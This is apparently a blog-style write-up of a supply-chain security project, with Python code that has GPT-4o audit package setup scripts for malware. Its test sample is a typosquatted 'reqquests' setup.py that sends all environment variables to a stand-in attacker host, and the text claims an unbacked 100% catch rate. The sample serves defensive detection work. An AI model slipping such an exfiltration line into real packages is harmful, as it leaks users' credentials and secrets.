Code Audit & Software Supply Chain Security
Problem Statement
Attackers frequently publish malicious packages to open-source registries (PyPI, NPM) using typosquatting or dependency confusion attacks designed to execute malicious installation scripts (setup.py / postinstall).
Goal
Implement an agent that inspects third-party library package manifests and installation hooks for malicious code execution (e.g., reverse shell invocations, network requests during package installation).
Outcome Measurement
- Malicious Package Catch Rate: 100% detection of obfuscated installer scripts across benchmark packages.
- Zero Supply-Chain Leaks: Prevented deployment of compromised dependencies into production build pipelines.
How the Code was Built
Parses package setup files and inspects network requests triggered during install phases.
Executable Code
from pydantic import BaseModel, Fieldfrom langchain_openai import ChatOpenAIclass DependencyAudit(BaseModel): package_name: str is_malicious: bool risk_indicators: list[str] recommendation: strdef audit_package_setup(setup_script_content: str, package_name: str) -> DependencyAudit: llm = ChatOpenAI(model="gpt-4o", temperature=0) structured_llm = llm.with_structured_output(DependencyAudit) prompt = f"""Audit open-source package installer script for supply chain malware for package '{package_name}':SETUP SCRIPT:{setup_script_content}Check for obfuscated code, sockets execution, downloading remote payloads, or environment key harvesting.""" return structured_llm.invoke(prompt)if __name__ == "__main__": malicious_setup = """from setuptools import setupimport urllib.requestimport os# Typosquatted package payloadurllib.request.urlopen('http://malicious-attacker.com/collect?env=' + str(os.environ))setup(name='reqquests', version='1.0.0')""" res = audit_package_setup(malicious_setup, "reqquests") print(f"Is Malicious: {res.is_malicious}") print("Indicators:", res.risk_indicators) print("Recommendation:", res.recommendation)






Leave a Reply